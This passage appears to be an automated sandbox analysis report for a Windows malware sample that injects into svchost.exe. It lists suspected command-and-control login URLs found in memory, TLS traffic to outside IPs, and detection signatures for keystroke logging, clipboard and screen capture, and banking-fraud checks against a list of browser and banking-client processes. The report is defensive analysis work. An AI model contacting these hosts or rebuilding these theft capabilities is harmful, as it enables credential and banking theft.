    Source: svchost.exe, 00000001.00000003.2091259896.0000000008BED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2102544145.0000000008B53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2090626154.0000000008A15000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2091999156.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092789966.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2091259896.0000000008BEA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ww16.vofycot.com/login.php?sub1=20241112-0448-594c-a477-6c018702c73c
    Source: 1fWgBXPgiT.exe, 1fWgBXPgiT.exe, 00000000.00000003.1664848055.0000000000637000.00000004.00000020.00020000.00000000.sdmp, 1fWgBXPgiT.exe, 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, svchost.exe, 00000001.00000003.2020256793.0000000004C52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843902231.0000000002F27000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874568888.0000000002F6F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261960277.0000000008A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1913721828.0000000008A5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2108748631.0000000004DCA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914884651.0000000002F38000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2910644319.000000000087E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878311191.0000000000868000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2018740635.0000000004C71000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2169750003.0000000004DD8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949290734.000000000087A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BDE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1855680962.0000000002F80000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2090275195.0000000004DA0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.com
    Source: svchost.exe, 00000001.00000003.1695526896.0000000000854000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comlH
    Source: svchost.exe, 00000001.00000003.1695526896.0000000000854000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comlj
    Source: svchost.exe, 00000001.00000003.1843902231.0000000002F27000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692516758.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879844830.0000000008A8A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BDE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959786378.0000000002F20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954706377.0000000002F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BD1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1951316624.0000000004C5D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178791984.0000000008A6F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900148552.0000000008BAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154704130.0000000008A67000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1941321033.0000000008BEC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2106431103.0000000004D09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2266701552.0000000008A73000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2106431103.0000000004D1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1971826168.0000000008BDF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2281045674.0000000008A5C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2117075829.0000000004C1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954706377.0000000002F1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898478657.0000000008BA1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comt
    Source: svchost.exe, 00000001.00000003.2266701552.0000000008A73000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1913721828.0000000008A73000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comt:
    Source: svchost.exe, 00000001.00000003.2119843224.0000000002F24000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779727829.0000000008A94000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comtG
    Source: svchost.exe, 00000001.00000003.2266701552.0000000008A73000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1976310393.0000000008A74000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178791984.0000000008A74000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2281045674.0000000008A74000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154704130.0000000008A74000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A74000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comtK
    Source: svchost.exe, 00000001.00000003.1924478972.0000000008A76000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2106415870.0000000008A75000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2758867710.0000000008A76000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A76000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1976310393.0000000008A76000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A76000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comtm
    Source: svchost.exe, 00000001.00000003.1949257540.0000000008BE6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1924478972.0000000008A65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2141003821.0000000008A66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2106415870.0000000008A66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2281045674.0000000008A66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1976310393.0000000008A65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178791984.0000000008A66000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comtn
    Source: svchost.exe, 00000001.00000003.2266612038.0000000008A77000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2106415870.0000000008A75000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898504012.0000000008A76000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A76000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178791984.0000000008A77000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1976310393.0000000008A76000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comt~
    Source: svchost.exe, 00000001.00000003.2111622308.0000000008B1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2840931884.000000000507A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1842605109.0000000008B1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843609914.0000000008B1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2084222650.0000000008B1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1835993581.0000000008B1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2855256380.0000000008B98000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854858918.0000000008B1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1855349724.0000000008B1F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ampproject.org
    Source: svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2022984388.0000000004C52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1842605109.0000000008B1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843609914.0000000008B1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2079285107.0000000004C8B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2084222650.0000000008B1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2022278368.0000000004C41000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2053653601.0000000002F61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2809959301.0000000004D3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2027010088.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1835993581.0000000008B1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2022239327.0000000004D83000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2814993423.0000000004D86000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2809858704.0000000008B99000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2811723462.0000000008ABA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2855256380.0000000008B98000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A6C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1856209919.0000000002F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1788657701.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023459644.0000000008A09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lysyvan.com/login.php
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1718521594.0000000002F2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1983471342.0000000008B1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008B1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2789274490.0000000008B1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695526896.000000000084E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695430448.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1983051800.0000000002F30000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779499419.0000000002F2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2767857734.0000000008A14000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984984329.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984407690.0000000004D8A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1983051800.0000000002F26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1982329852.0000000004D8B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1983841418.0000000004C0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085976416.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000D2D000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://puzylyp.com/login.php
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
    Source: unknownNetwork traffic detected: HTTP traffic on port 50170 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55726
    Source: unknownNetwork traffic detected: HTTP traffic on port 50166 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 55726 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 50172 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55744
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55723
    Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55746
    Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55721
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55719
    Source: unknownNetwork traffic detected: HTTP traffic on port 55723 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
    Source: unknownNetwork traffic detected: HTTP traffic on port 55746 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 55719 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 55744 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 50167 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55717
    Source: unknownNetwork traffic detected: HTTP traffic on port 50165 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 55721 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50166
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50165
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50167
    Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50170
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50172
    Source: unknownNetwork traffic detected: HTTP traffic on port 55717 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
    Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
    Source: unknownHTTPS traffic detected: 75.2.71.199:443 -> 192.168.2.4:49741 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49744 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49746 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49754 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49756 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:55719 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:55721 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:55723 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:55726 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 75.2.71.199:443 -> 192.168.2.4:55744 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:55746 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50166 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50167 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50172 version: TLS 1.2

    Key, Mouse, Clipboard, Microphone and Screen Capturing

    barindex
    Contains functionality to capture and log keystrokes
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: [tab]5_2_02702F40
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: [del]5_2_02702F40
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: [del]5_2_02702F40
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: [ins]5_2_02702F40
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02703220 memset,GlobalLock,GetCurrentThreadId,GetGUIThreadInfo,GetOpenClipboardWindow,GetActiveWindow,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GlobalUnlock,GlobalUnlock,5_2_02703220
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026F9530 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,5_2_026F9530
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B19530 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,6_2_00B19530
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026A9530 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,9_2_026A9530
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022C9530 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,13_2_022C9530
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010A9530 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,16_2_010A9530
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_027154A0 Sleep,_snprintf,GetDesktopWindow,GetWindowDC,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateDIBSection,SelectObject,BitBlt,GetDesktopWindow,GetDC,GetProcessHeap,HeapAlloc,memset,GetDIBits,GetDIBits,ReleaseDC,5_2_027154A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02702F40 memset,GetProcessHeap,HeapAlloc,memset,GetProcessHeap,HeapValidate,GetProcessHeap,HeapReAlloc,GetKeyboardState,ToAscii,5_2_02702F40

    E-Banking Fraud

    barindex
    Checks if browser processes are running
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex5_2_027078A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex5_2_027078A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex5_2_027078A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe5_2_02706CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,